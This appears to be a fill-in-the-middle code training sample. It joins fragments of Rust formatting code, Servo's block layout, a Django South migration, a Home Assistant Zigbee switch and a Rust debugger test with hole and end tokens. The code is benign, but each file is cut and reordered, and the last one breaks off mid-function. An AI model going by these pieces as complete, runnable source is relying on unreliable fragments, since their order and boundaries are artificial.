Some('+'); width += 1; } let mut prefixed = false; if self.flags & (1 << (FlagAlternate as uint)) != 0 { prefixed = true; width += prefix.char_len(); } // Writes the sign if it exists, and then the prefix if it was requested let write_prefix = |f: &mut Formatter| { for c in sign.into_iter() { let mut b = [0, ..4]; let n = c.encode_utf8(&mut b).unwrap_or(0); try!(f.buf.write(b[..n])); } if prefixed { f.buf.write(prefix.as_bytes()) } else { Ok(()) } }; // The `width` field is more of a `min-width` parameter at this point. match self.width { // If there's no minimum length requirements then we can just // write the bytes. None => { try!(write_prefix(self)); self.buf.write(buf) } // Check if we're over the minimum width, if so then we can also // just write the bytes. Some(min) if width >= min => { try!(write_prefix(self)); self.buf.write(buf) } // The sign and prefix goes before the padding if the fill character // is zero Some(min) if self.flags & (1 << (FlagSignAwareZeroPad as uint)) != 0 => { self.fill = '0'; try!(write_prefix(self)); self.with_padding(min - width, rt::AlignRight, |f| f.buf.write(buf)) } // Otherwise, the sign and prefix goes after the padding Some(min) => { self.with_padding(min - width, rt::AlignRight, |f| { try!(write_prefix(f)); f.buf.write(buf) }) } } } /// This function takes a string slice and emits it to the internal buffer /// after applying the relevant formatting flags specified. The flags /// recognized for generic strings are: /// /// * width - the minimum width of what to emit /// * fill/align - what to emit and where to emit it if the string /// provided needs to be padded /// * precision - the maximum length to emit, the string is truncated if it /// is longer than this length /// /// Notably this function ignored the `flag` parameters #[unstable = "definition may change slightly over time"] pub fn pad(&mut self, s: &str) -> Result { // Make sure there's a fast path up front if self.width.is_none() && self.precision.is_none() { return self.buf.write(s.as_bytes()); } // The `precision` field can be interpreted as a `max-width` for the // string being formatted match self.precision { Some(max) => { // If there's a maximum width and our string is longer than // that, then we must always have truncation. This is the only // case where the maximum length will matter. let char_len = s.char_len(); if char_len >= max { let nchars = ::cmp::min(max, char_len); return self.buf.write(s.slice_chars(0, nchars).as_bytes()); } } None => {} } // The `width` field is more of a `min-width` parameter at this point. match self.width { // If we're under the maximum length, and there's no minimum length // requirements, then we can just emit the string None => self.buf.write(s.as_bytes()), // If we're under the maximum width, check if we're over the minimum // width, if so it's as easy as just emitting the string. Some(width) if s.char_len() >= width => { self.buf.write(s.as_bytes()) } // If we're under both the maximum and the minimum width, then fill // up the minimum width with the specified string + some alignment. Some(width) => { self.with_padding(width - s.char_len(), rt::AlignLeft, |me| { me.buf.write(s.as_bytes()) }) } } } /// Runs a callback, emitting the correct padding either before or /// afterwards depending on whether right or left alignment is requested. fn with_padding(&mut self, padding: uint, default: rt::Alignment, f: |&mut Formatter| -> Result) -> Result { use char::Char; let align = match self.align { rt::AlignUnknown => default, _ => self.align }; let (pre_pad, post_pad) = match align { rt::AlignLeft => (0u, padding), rt::AlignRight | rt::AlignUnknown => (padding, 0u), rt::AlignCenter => (padding / 2, (padding + 1) / 2), }; let mut fill = [0u8, ..4]; let len = self.fill.encode_utf8(&mut fill).unwrap_or(0); for _ in range(0, pre_pad) { try!(self.buf.write(fill[..len])); } try!(f(self)); for _ in range(0, post_pad) { try!(self.buf.write(fill[..len])); } Ok(()) } /// Writes some data to the underlying buffer contained within this /// formatter. #[unstable = "reconciling core and I/O may alter this definition"] pub fn write(&mut self, data: &[u8]) -> Result { self.buf.write(data) } /// Writes some formatted information into this instance #[unstable = "reconciling core and I/O may alter this definition"] pub fn write_fmt(&mut self, fmt: &Arguments) -> Result { write(self.buf, fmt) } /// Flags for formatting (packed version of rt::Flag) #[experimental = "return type may change and method was just created"] pub fn flags(&self) -> uint { self.flags } /// Character used as 'fill' whenever there is alignment #[unstable = "method was just created"] pub fn fill(&self) -> char { self.fill } /// Flag indicating what form of alignment was requested #[unstable = "method was just created"] pub fn align(&self) -> rt::Alignment { self.align } /// Optionally specified integer width that the output should be #[unstable = "method was just created"] pub fn width(&self) -> Option<uint> { self.width } /// Optionally specified precision for numeric types #[unstable = "method was just created"] pub fn precision(&self) -> Option<uint> { self.precision } } impl Show for Error { fn fmt(&self, f: &mut Formatter) -> Result { "an error occurred when formatting an argument".fmt(f) } } /// This is a function which calls are emitted to by the compiler itself to /// create the Argument structures that are passed into the `format` function. #[doc(hidden)] #[inline] #[experimental = "implementation detail of the `format_args!` macro"] pub fn argument<'a, T>(f: extern "Rust" fn(&T, &mut Formatter) -> Result, t: &'a T) -> Argument<'a> { unsafe { Argument { formatter: mem::transmute(f), value: mem::transmute(t) } } } /// When the compiler determines that the type of an argument *must* be a string /// (such as for select), then it invokes this method. #[doc(hidden)] #[inline] #[experimental = "implementation detail of the `format_args!` macro"] pub fn argumentstr<'a>(s: &'a &str) -> Argument<'a> { argument(Show::fmt, s) } /// When the compiler determines that the type of an argument *must* be a uint /// (such as for plural), then it invokes this method. #[doc(hidden)] #[inline] #[experimental = "implementation detail of the `format_args!` macro"] pub fn argumentuint<'a>(s: &'a uint) -> Argument<'a> { argument(Show::fmt, s) } // Implementations of the core formatting traits impl<'a, Sized? T: Show> Show for &'a T { fn fmt(&self, f: &mut Formatter) -> Result { (**self).fmt(f) } } impl<'a, Sized? T: Show> Show for &'a mut T { fn fmt(&self, f: &mut Formatter) -> Result { (**self).fmt(f) } } impl<'a> Show for &'a Show+'a { fn fmt(&self, f: &mut Formatter) -> Result { (*self).fmt(f) } } impl Show for bool { fn fmt(&self, f: &mut Formatter) -> Result { Show::fmt(if *self { "true" } else { "false" }, f) } } impl Show for str { fn fmt(&self, f: &mut Formatter) -> Result { f.pad(self) } } impl Show for char { fn fmt(&self, f: &mut Formatter) -> Result { use char::Char; let mut utf8 = [0u8, ..4]; let amt = self.encode_utf8(&mut utf8).unwrap_or(0); let s: &str = unsafe { mem::transmute(utf8[..amt]) }; Show::fmt(s, f) } } impl<T> Pointer for *const T { fn fmt(&self, f: &mut Formatter) -> Result { f.flags |= 1 << (rt::FlagAlternate as uint); LowerHex::fmt(&(*self as uint), f) } } impl<T> Pointer for *mut T { fn fmt(&self, f: &mut Formatter) -> Result { Pointer::fmt(&(*self as *const T), f) } } impl<'a, T> Pointer for &'a T { fn fmt(&self, f: &mut Formatter) -> Result { Pointer::fmt(&(*self as *const T), f) } } impl<'a, T> Pointer for &'a mut T { fn fmt(&self, f: &mut Formatter) -> Result { Pointer::fmt(&(&**self as *const T), f) } } macro_rules! floating(($ty:ident) => { impl Show for $ty { fn fmt(&self, fmt: &mut Formatter) -> Result { use num::Float; let digits = match fmt.precision { Some(i) => float::DigExact(i), None => float::DigMax(6), }; float::float_to_str_bytes_common(self.abs(), 10, true, float::SignNeg, digits, float::ExpNone, false, |bytes| { fmt.pad_integral(self.is_nan() || *self >= 0.0, "", bytes) }) } } impl LowerExp for $ty { fn fmt(&self, fmt: &mut Formatter) -> Result { use num::Float; let digits = match fmt.precision { Some(i) => float::DigExact(i), None => float::DigMax(6), }; float::float_to_str_bytes_common(self.abs(), 10, true, float::SignNeg, digits, float::ExpDec, false, |bytes| { fmt.pad_integral(self.is_nan() || *self >= 0.0, "", bytes) }) } } impl UpperExp for $ty { fn fmt(&self, fmt: &mut Formatter) -> Result { use num::Float; let digits = match fmt.precision { Some(i) => float::DigExact(i), None => float::DigMax(6), }; float::float_to_str_bytes_common(self.abs(), 10, true, float::SignNeg, digits, float::ExpDec, true, |bytes| { fmt.pad_integral(self.is_nan() || *self >= 0.0, "", bytes) }) } } }) floating!(f32) floating!(f64) // Implementation of Show for various core types impl<T> Show for *const T { fn fmt(&self, f: &mut Formatter) -> Result { Pointer::fmt(self, f) } } impl<T> Show for *mut T {<|fim▁hole|>macro_rules! peel(($name:ident, $($other:ident,)*) => (tuple!($($other,)*))) macro_rules! tuple ( () => (); ( $($name:ident,)+ ) => ( impl<$($name:Show),*> Show for ($($name,)*) { #[allow(non_snake_case, unused_assignments)] fn fmt(&self, f: &mut Formatter) -> Result { try!(write!(f, "(")); let ($(ref $name,)*) = *self; let mut n = 0i; $( if n > 0 { try!(write!(f, ", ")); } try!(write!(f, "{}", *$name)); n += 1; )* if n == 1 { try!(write!(f, ",")); } write!(f, ")") } } peel!($($name,)*) ) ) tuple! { T0, T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, } impl<'a> Show for &'a any::Any+'a { fn fmt(&self, f: &mut Formatter) -> Result { f.pad("&Any") } } impl<T: Show> Show for [T] { fn fmt(&self, f: &mut Formatter) -> Result { if f.flags & (1 << (rt::FlagAlternate as uint)) == 0 { try!(write!(f, "[")); } let mut is_first = true; for x in self.iter() { if is_first { is_first = false; } else { try!(write!(f, ", ")); } try!(write!(f, "{}", *x)) } if f.flags & (1 << (rt::FlagAlternate as uint)) == 0 { try!(write!(f, "]")); } Ok(()) } } impl Show for () { fn fmt(&self, f: &mut Formatter) -> Result { f.pad("()") } } impl<T: Copy + Show> Show for Cell<T> { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, "Cell {{ value: {} }}", self.get()) } } impl<'b, T: Show> Show for Ref<'b, T> { fn fmt(&self, f: &mut Formatter) -> Result { (**self).fmt(f) } } impl<'b, T: Show> Show for RefMut<'b, T> { fn fmt(&self, f: &mut Formatter) -> Result { (*(self.deref())).fmt(f) } } // If you expected tests to be here, look instead at the run-pass/ifmt.rs test, // it's a lot easier than creating all of the rt::Piece structures here.<|fim▁end|>
fn fmt(&self, f: &mut Formatter) -> Result { Pointer::fmt(self, f) } }
<|file_name|>block.rs<|end_file_name|><|fim▁begin|>/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //! CSS block layout. use layout::box::{RenderBox, RenderBoxUtils}; use layout::context::LayoutContext; use layout::display_list_builder::{DisplayListBuilder, ExtraDisplayListData}; use layout::flow::{BlockFlowClass, FlowClass, FlowContext, FlowData, ImmutableFlowUtils}; use layout::flow; use layout::model::{MaybeAuto, Specified, Auto}; use layout::float_context::{FloatContext, Invalid}; use std::cell::Cell; use geom::point::Point2D; use geom::size::Size2D; use geom::rect::Rect; use gfx::display_list::DisplayList; use gfx::geometry::{Au, to_frac_px}; use gfx::geometry; pub struct BlockFlow { /// Data common to all flows. base: FlowData, /// The associated render box. box: Option<@mut RenderBox>, /// Whether this block flow is the root flow. is_root: bool } impl BlockFlow { pub fn new(base: FlowData) -> BlockFlow { BlockFlow { base: base, box: None, is_root: false } } pub fn new_root(base: FlowData) -> BlockFlow { BlockFlow { base: base, box: None, is_root: true } } pub fn teardown(&mut self) { for box in self.box.iter() { box.teardown(); } self.box = None; } /// Computes left and right margins and width based on CSS 2.1 section 10.3.3. /// Requires borders and padding to already be computed. fn compute_horiz(&self, width: MaybeAuto, left_margin: MaybeAuto, right_margin: MaybeAuto, available_width: Au) -> (Au, Au, Au) { // If width is not 'auto', and width + margins > available_width, all 'auto' margins are // treated as 0. let (left_margin, right_margin) = match width { Auto => (left_margin, right_margin), Specified(width) => { let left = left_margin.specified_or_zero(); let right = right_margin.specified_or_zero(); if((left + right + width) > available_width) { (Specified(left), Specified(right)) } else { (left_margin, right_margin) } } }; //Invariant: left_margin_Au + width_Au + right_margin_Au == available_width let (left_margin_Au, width_Au, right_margin_Au) = match (left_margin, width, right_margin) { //If all have a computed value other than 'auto', the system is over-constrained and we need to discard a margin. //if direction is ltr, ignore the specified right margin and solve for it. If it is rtl, ignore the specified //left margin. FIXME(eatkinson): this assumes the direction is ltr (Specified(margin_l), Specified(width), Specified(_margin_r)) => (margin_l, width, available_width - (margin_l + width )), //If exactly one value is 'auto', solve for it (Auto, Specified(width), Specified(margin_r)) => (available_width - (width + margin_r), width, margin_r), (Specified(margin_l), Auto, Specified(margin_r)) => (margin_l, available_width - (margin_l + margin_r), margin_r), (Specified(margin_l), Specified(width), Auto) => (margin_l, width, available_width - (margin_l + width)), //If width is set to 'auto', any other 'auto' value becomes '0', and width is solved for (Auto, Auto, Specified(margin_r)) => (Au::new(0), available_width - margin_r, margin_r), (Specified(margin_l), Auto, Auto) => (margin_l, available_width - margin_l, Au::new(0)), (Auto, Auto, Auto) => (Au::new(0), available_width, Au::new(0)), //If left and right margins are auto, they become equal (Auto, Specified(width), Auto) => { let margin = (available_width - width).scale_by(0.5); (margin, width, margin) } }; //return values in same order as params (width_Au, left_margin_Au, right_margin_Au) } // inline(always) because this is only ever called by in-order or non-in-order top-level // methods #[inline(always)] fn assign_height_block_base(&mut self, ctx: &mut LayoutContext, inorder: bool) { let mut cur_y = Au::new(0); let mut clearance = Au::new(0); let mut top_offset = Au::new(0); let mut bottom_offset = Au::new(0); let mut left_offset = Au::new(0); let mut float_ctx = Invalid;<|fim▁hole|> for &box in self.box.iter() { let base = box.mut_base(); clearance = match base.clear() { None => Au::new(0), Some(clear) => { self.base.floats_in.clearance(clear) } }; let model = &mut base.model; top_offset = clearance + model.margin.top + model.border.top + model.padding.top; cur_y = cur_y + top_offset; bottom_offset = model.margin.bottom + model.border.bottom + model.padding.bottom; left_offset = model.offset(); } if inorder { // Floats for blocks work like this: // self.floats_in -> child[0].floats_in // visit child[0] // child[i-1].floats_out -> child[i].floats_in // visit child[i] // repeat until all children are visited. // last_child.floats_out -> self.floats_out (done at the end of this method) float_ctx = self.base.floats_in.translate(Point2D(-left_offset, -top_offset)); for kid in self.base.child_iter() { flow::mut_base(*kid).floats_in = float_ctx.clone(); kid.assign_height_inorder(ctx); float_ctx = flow::mut_base(*kid).floats_out.clone(); } } let mut collapsible = Au::new(0); let mut collapsing = Au::new(0); let mut margin_top = Au::new(0); let mut margin_bottom = Au::new(0); let mut top_margin_collapsible = false; let mut bottom_margin_collapsible = false; let mut first_in_flow = true; for &box in self.box.iter() { let base = box.mut_base(); let model = &mut base.model; if !self.is_root && model.border.top == Au::new(0) && model.padding.top == Au::new(0) { collapsible = model.margin.top; top_margin_collapsible = true; } if !self.is_root && model.border.bottom == Au::new(0) && model.padding.bottom == Au::new(0) { bottom_margin_collapsible = true; } margin_top = model.margin.top; margin_bottom = model.margin.bottom; } for kid in self.base.child_iter() { kid.collapse_margins(top_margin_collapsible, &mut first_in_flow, &mut margin_top, &mut top_offset, &mut collapsing, &mut collapsible); let child_node = flow::mut_base(*kid); cur_y = cur_y - collapsing; child_node.position.origin.y = cur_y; cur_y = cur_y + child_node.position.size.height; } // The bottom margin collapses with its last in-flow block-level child's bottom margin // if the parent has no bottom boder, no bottom padding. collapsing = if bottom_margin_collapsible { if margin_bottom < collapsible { margin_bottom = collapsible; } collapsible } else { Au::new(0) }; // TODO: A box's own margins collapse if the 'min-height' property is zero, and it has neither // top or bottom borders nor top or bottom padding, and it has a 'height' of either 0 or 'auto', // and it does not contain a line box, and all of its in-flow children's margins (if any) collapse. let mut height = if self.is_root { Au::max(ctx.screen_size.size.height, cur_y) } else { cur_y - top_offset - collapsing }; for &box in self.box.iter() { let base = box.mut_base(); let style = base.style(); let maybe_height = MaybeAuto::from_height(style.height(), Au::new(0), style.font_size()); let maybe_height = maybe_height.specified_or_zero(); height = geometry::max(height, maybe_height); } let mut noncontent_height = Au::new(0); self.box.map(|&box| { let base = box.mut_base(); // The associated box is the border box of this flow. base.model.margin.top = margin_top; base.model.margin.bottom = margin_bottom; base.position.origin.y = clearance + base.model.margin.top; noncontent_height = base.model.padding.top + base.model.padding.bottom + base.model.border.top + base.model.border.bottom; base.position.size.height = height + noncontent_height; noncontent_height = noncontent_height + clearance + base.model.margin.top + base.model.margin.bottom; }); //TODO(eatkinson): compute heights using the 'height' property. self.base.position.size.height = height + noncontent_height; if inorder { let extra_height = height - (cur_y - top_offset) + bottom_offset; self.base.floats_out = float_ctx.translate(Point2D(left_offset, -extra_height)); } else { self.base.floats_out = self.base.floats_in.clone(); } } pub fn build_display_list_block<E:ExtraDisplayListData>( &mut self, builder: &DisplayListBuilder, dirty: &Rect<Au>, list: &Cell<DisplayList<E>>) -> bool { if self.base.node.is_iframe_element() { let x = self.base.abs_position.x + do self.box.map_default(Au::new(0)) |box| { let base = box.base(); let model = base.model; model.margin.left + model.border.left + model.padding.left }; let y = self.base.abs_position.y + do self.box.map_default(Au::new(0)) |box| { let base = box.base(); let model = base.model; model.margin.top + model.border.top + model.padding.top }; let w = self.base.position.size.width - do self.box.map_default(Au::new(0)) |box| { box.base().model.noncontent_width() }; let h = self.base.position.size.height - do self.box.map_default(Au::new(0)) |box| { box.base().model.noncontent_height() }; do self.base.node.with_mut_iframe_element |iframe_element| { iframe_element.size.get_mut_ref().set_rect(Rect(Point2D(to_frac_px(x) as f32, to_frac_px(y) as f32), Size2D(to_frac_px(w) as f32, to_frac_px(h) as f32))); } } let abs_rect = Rect(self.base.abs_position, self.base.position.size); if !abs_rect.intersects(dirty) { return true; } debug!("build_display_list_block: adding display element"); // add box that starts block context self.box.map(|&box| { box.build_display_list(builder, dirty, &self.base.abs_position, list) }); // TODO: handle any out-of-flow elements let this_position = self.base.abs_position; for child in self.base.child_iter() { let child_base = flow::mut_base(*child); child_base.abs_position = this_position + child_base.position.origin; } false } } impl FlowContext for BlockFlow { fn class(&self) -> FlowClass { BlockFlowClass } fn as_block<'a>(&'a mut self) -> &'a mut BlockFlow { self } /* Recursively (bottom-up) determine the context's preferred and minimum widths. When called on this context, all child contexts have had their min/pref widths set. This function must decide min/pref widths based on child context widths and dimensions of any boxes it is responsible for flowing. */ /* TODO: floats */ /* TODO: absolute contexts */ /* TODO: inline-blocks */ fn bubble_widths(&mut self, ctx: &mut LayoutContext) { let mut min_width = Au::new(0); let mut pref_width = Au::new(0); let mut num_floats = 0; /* find max width from child block contexts */ for child_ctx in self.base.child_iter() { assert!(child_ctx.starts_block_flow() || child_ctx.starts_inline_flow()); let child_base = flow::mut_base(*child_ctx); min_width = geometry::max(min_width, child_base.min_width); pref_width = geometry::max(pref_width, child_base.pref_width); num_floats = num_floats + child_base.num_floats; } /* if not an anonymous block context, add in block box's widths. these widths will not include child elements, just padding etc. */ self.box.map(|&box| { { // Can compute border width here since it doesn't depend on anything. let base = box.mut_base(); let style = base.style(); base.model.compute_borders(style) } let (this_minimum_width, this_preferred_width) = box.minimum_and_preferred_widths(); min_width = min_width + this_minimum_width; pref_width = pref_width + this_preferred_width; }); self.base.min_width = min_width; self.base.pref_width = pref_width; self.base.num_floats = num_floats; } /// Recursively (top-down) determines the actual width of child contexts and boxes. When called /// on this context, the context has had its width set by the parent context. /// /// Dual boxes consume some width first, and the remainder is assigned to all child (block) /// contexts. fn assign_widths(&mut self, ctx: &mut LayoutContext) { debug!("assign_widths_block: assigning width for flow %?", self.base.id); if self.is_root { debug!("Setting root position"); self.base.position.origin = Au::zero_point(); self.base.position.size.width = ctx.screen_size.size.width; self.base.floats_in = FloatContext::new(self.base.num_floats); self.base.is_inorder = false; } //position was set to the containing block by the flow's parent let mut remaining_width = self.base.position.size.width; let mut x_offset = Au::new(0); for &box in self.box.iter() { let base = box.mut_base(); let base = &mut *base; let style = base.style(); let model = &mut base.model; // Can compute padding here since we know containing block width. model.compute_padding(style, remaining_width); // Margins are 0 right now so model.noncontent_width() is just borders + padding. let available_width = remaining_width - model.noncontent_width(); // Top and bottom margins for blocks are 0 if auto. let font_size = style.font_size(); let margin_top = MaybeAuto::from_margin(style.margin_top(), remaining_width, font_size).specified_or_zero(); let margin_bottom = MaybeAuto::from_margin(style.margin_bottom(), remaining_width, font_size).specified_or_zero(); let (width, margin_left, margin_right) = (MaybeAuto::from_width(style.width(), remaining_width, font_size), MaybeAuto::from_margin(style.margin_left(), remaining_width, font_size), MaybeAuto::from_margin(style.margin_right(), remaining_width, font_size)); let (width, margin_left, margin_right) = self.compute_horiz(width, margin_left, margin_right, available_width); model.margin.top = margin_top; model.margin.right = margin_right; model.margin.bottom = margin_bottom; model.margin.left = margin_left; x_offset = model.offset(); remaining_width = width; //The associated box is the border box of this flow base.position.origin.x = model.margin.left; let pb = model.padding.left + model.padding.right + model.border.left + model.border.right; base.position.size.width = remaining_width + pb; } let has_inorder_children = self.base.is_inorder || self.base.num_floats > 0; for kid in self.base.child_iter() { assert!(kid.starts_block_flow() || kid.starts_inline_flow()); let child_base = flow::mut_base(*kid); child_base.position.origin.x = x_offset; child_base.position.size.width = remaining_width; child_base.is_inorder = has_inorder_children; if !child_base.is_inorder { child_base.floats_in = FloatContext::new(0); } } } fn assign_height_inorder(&mut self, ctx: &mut LayoutContext) { debug!("assign_height_inorder_block: assigning height for block %?", self.base.id); self.assign_height_block_base(ctx, true); } fn assign_height(&mut self, ctx: &mut LayoutContext) { debug!("assign_height_block: assigning height for block %?", self.base.id); // This is the only case in which a block flow can start an inorder // subtraversal. if self.is_root && self.base.num_floats > 0 { self.assign_height_inorder(ctx); return; } self.assign_height_block_base(ctx, false); } fn collapse_margins(&mut self, top_margin_collapsible: bool, first_in_flow: &mut bool, margin_top: &mut Au, top_offset: &mut Au, collapsing: &mut Au, collapsible: &mut Au) { for &box in self.box.iter() { let base = box.mut_base(); let model = &mut base.model; // The top margin collapses with its first in-flow block-level child's // top margin if the parent has no top border, no top padding. if *first_in_flow && top_margin_collapsible { // If top-margin of parent is less than top-margin of its first child, // the parent box goes down until its top is aligned with the child. if *margin_top < model.margin.top { // TODO: The position of child floats should be updated and this // would influence clearance as well. See #725 let extra_margin = model.margin.top - *margin_top; *top_offset = *top_offset + extra_margin; *margin_top = model.margin.top; } } // The bottom margin of an in-flow block-level element collapses // with the top margin of its next in-flow block-level sibling. *collapsing = geometry::min(model.margin.top, *collapsible); *collapsible = model.margin.bottom; } *first_in_flow = false; } }<|fim▁end|>
<|file_name|>0006_auto__chg_field_billdetails_end_date__chg_field_billdetails_start_date.py<|end_file_name|><|fim▁begin|># -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Changing field 'billdetails.end_date' db.alter_column(u'employee_billdetails', 'end_date', self.gf('django.db.models.fields.DateField')(null=True)) # Changing field 'billdetails.start_date' db.alter_column(u'employee_billdetails', 'start_date', self.gf('django.db.models.fields.DateField')(null=True)) def backwards(self, orm): # User chose to not deal with backwards NULL issues for 'billdetails.end_date' raise RuntimeError("Cannot reverse this migration. 'billdetails.end_date' and its values cannot be restored.")<|fim▁hole|> # User chose to not deal with backwards NULL issues for 'billdetails.start_date' raise RuntimeError("Cannot reverse this migration. 'billdetails.start_date' and its values cannot be restored.") # The following code is provided here to aid in writing a correct migration # Changing field 'billdetails.start_date' db.alter_column(u'employee_billdetails', 'start_date', self.gf('django.db.models.fields.DateField')()) models = { u'employee.billdetails': { 'Meta': {'object_name': 'billdetails'}, 'bill_type': ('django.db.models.fields.CharField', [], {'max_length': '10'}), 'emp_name': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['employee.Employee']"}), 'emp_proj': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['employee.Project']"}), 'end_date': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'start_date': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}) }, u'employee.employee': { 'Add1': ('django.db.models.fields.CharField', [], {'max_length': '250', 'blank': 'True'}), 'Add2': ('django.db.models.fields.CharField', [], {'max_length': '250', 'blank': 'True'}), 'City': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'Designation': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'Major_Subject': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}), 'Meta': {'object_name': 'Employee'}, 'Qualification': ('django.db.models.fields.CharField', [], {'max_length': '10'}), 'Skill_sets': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'Visa_Status': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'Zip_code': ('django.db.models.fields.CharField', [], {'max_length': '15', 'blank': 'True'}), 'bill': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'db_index': 'True'}), 'dob': ('django.db.models.fields.DateField', [], {}), 'doj': ('django.db.models.fields.DateField', [], {}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '50'}), 'exp': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'}), 'id': ('django.db.models.fields.IntegerField', [], {'max_length': '6', 'primary_key': 'True'}), 'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'mobile': ('django.db.models.fields.IntegerField', [], {'max_length': '12'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'personal_email': ('django.db.models.fields.EmailField', [], {'max_length': '50', 'blank': 'True'}), 'proj': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['employee.Project']"}), 'start_date': ('django.db.models.fields.DateField', [], {'blank': 'True'}) }, u'employee.project': { 'Meta': {'object_name': 'Project'}, 'description': ('django.db.models.fields.CharField', [], {'max_length': '254'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) } } complete_apps = ['employee']<|fim▁end|>
# The following code is provided here to aid in writing a correct migration # Changing field 'billdetails.end_date' db.alter_column(u'employee_billdetails', 'end_date', self.gf('django.db.models.fields.DateField')())
<|file_name|>switch.py<|end_file_name|><|fim▁begin|>"""Support for Zigbee switches.""" import voluptuous as vol from homeassistant.components.switch import SwitchDevice from homeassistant.components.zigbee import ( ZigBeeDigitalOut, ZigBeeDigitalOutConfig, PLATFORM_SCHEMA) DEPENDENCIES = ['zigbee']<|fim▁hole|>DEPENDENCIES = ['zigbee'] STATES = ['high', 'low'] PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({ vol.Optional(CONF_ON_STATE): vol.In(STATES), }) def setup_platform(hass, config, add_entities, discovery_info=None): """Set up the Zigbee switch platform.""" add_entities([ZigBeeSwitch(hass, ZigBeeDigitalOutConfig(config))]) class ZigBeeSwitch(ZigBeeDigitalOut, SwitchDevice): """Representation of a Zigbee Digital Out device.""" pass<|fim▁end|>
CONF_ON_STATE = 'on_state' DEFAULT_ON_STATE = 'high'
<|file_name|>lexical-scope-in-if.rs<|end_file_name|><|fim▁begin|>// Copyright 2013-2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. // min-lldb-version: 310 // compile-flags:-g // === GDB TESTS =================================================================================== // gdb-command:run // BEFORE if // gdb-command:print x // gdb-check:$1 = 999 // gdb-command:print y // gdb-check:$2 = -1 // gdb-command:continue // AT BEGINNING of 'then' block // gdb-command:print x // gdb-check:$3 = 999 // gdb-command:print y // gdb-check:$4 = -1 // gdb-command:continue // AFTER 1st redeclaration of 'x' // gdb-command:print x // gdb-check:$5 = 1001 // gdb-command:print y // gdb-check:$6 = -1 // gdb-command:continue // AFTER 2st redeclaration of 'x' // gdb-command:print x // gdb-check:$7 = 1002 // gdb-command:print y // gdb-check:$8 = 1003 // gdb-command:continue // AFTER 1st if expression // gdb-command:print x // gdb-check:$9 = 999 // gdb-command:print y // gdb-check:$10 = -1 // gdb-command:continue // BEGINNING of else branch // gdb-command:print x // gdb-check:$11 = 999 // gdb-command:print y // gdb-check:$12 = -1 // gdb-command:continue // BEGINNING of else branch // gdb-command:print x // gdb-check:$13 = 1004 // gdb-command:print y // gdb-check:$14 = 1005 // gdb-command:continue <|fim▁hole|>// gdb-check:$15 = 999 // gdb-command:print y // gdb-check:$16 = -1 // gdb-command:continue // === LLDB TESTS ================================================================================== // lldb-command:run // BEFORE if // lldb-command:print x // lldbg-check:[...]$0 = 999 // lldbr-check:(i32) x = 999 // lldb-command:print y // lldbg-check:[...]$1 = -1 // lldbr-check:(i32) y = -1 // lldb-command:continue // AT BEGINNING of 'then' block // lldb-command:print x // lldbg-check:[...]$2 = 999 // lldbr-check:(i32) x = 999 // lldb-command:print y // lldbg-check:[...]$3 = -1 // lldbr-check:(i32) y = -1 // lldb-command:continue // AFTER 1st redeclaration of 'x' // lldb-command:print x // lldbg-check:[...]$4 = 1001 // lldbr-check:(i32) x = 1001 // lldb-command:print y // lldbg-check:[...]$5 = -1 // lldbr-check:(i32) y = -1 // lldb-command:continue // AFTER 2st redeclaration of 'x' // lldb-command:print x // lldbg-check:[...]$6 = 1002 // lldbr-check:(i32) x = 1002 // lldb-command:print y // lldbg-check:[...]$7 = 1003 // lldbr-check:(i32) y = 1003 // lldb-command:continue // AFTER 1st if expression // lldb-command:print x // lldbg-check:[...]$8 = 999 // lldbr-check:(i32) x = 999 // lldb-command:print y // lldbg-check:[...]$9 = -1 // lldbr-check:(i32) y = -1 // lldb-command:continue // BEGINNING of else branch // lldb-command:print x // lldbg-check:[...]$10 = 999 // lldbr-check:(i32) x = 999 // lldb-command:print y // lldbg-check:[...]$11 = -1 // lldbr-check:(i32) y = -1 // lldb-command:continue // BEGINNING of else branch // lldb-command:print x // lldbg-check:[...]$12 = 1004 // lldbr-check:(i32) x = 1004 // lldb-command:print y // lldbg-check:[...]$13 = 1005 // lldbr-check:(i32) y = 1005 // lldb-command:continue // BEGINNING of else branch // lldb-command:print x // lldbg-check:[...]$14 = 999 // lldbr-check:(i32) x = 999 // lldb-command:print y // lldbg-check:[...]$15 = -1 // lldbr-check:(i32) y = -1 // lldb-command:continue #![feature(omit_gdb_pretty_printer_section)] #![omit_gdb_pretty_printer_section] fn main() { let x = 999; let y = -1; zzz(); // #break sentinel(); if x < 1000 { zzz(); // #break sentinel(); let x = 1001; zzz(); // #break sentinel(); let x = 1002; let y = 1003; zzz(); // #break sentinel(); } else { unreachable!(); } zzz(); // #break sentinel(); if x > 1000 { 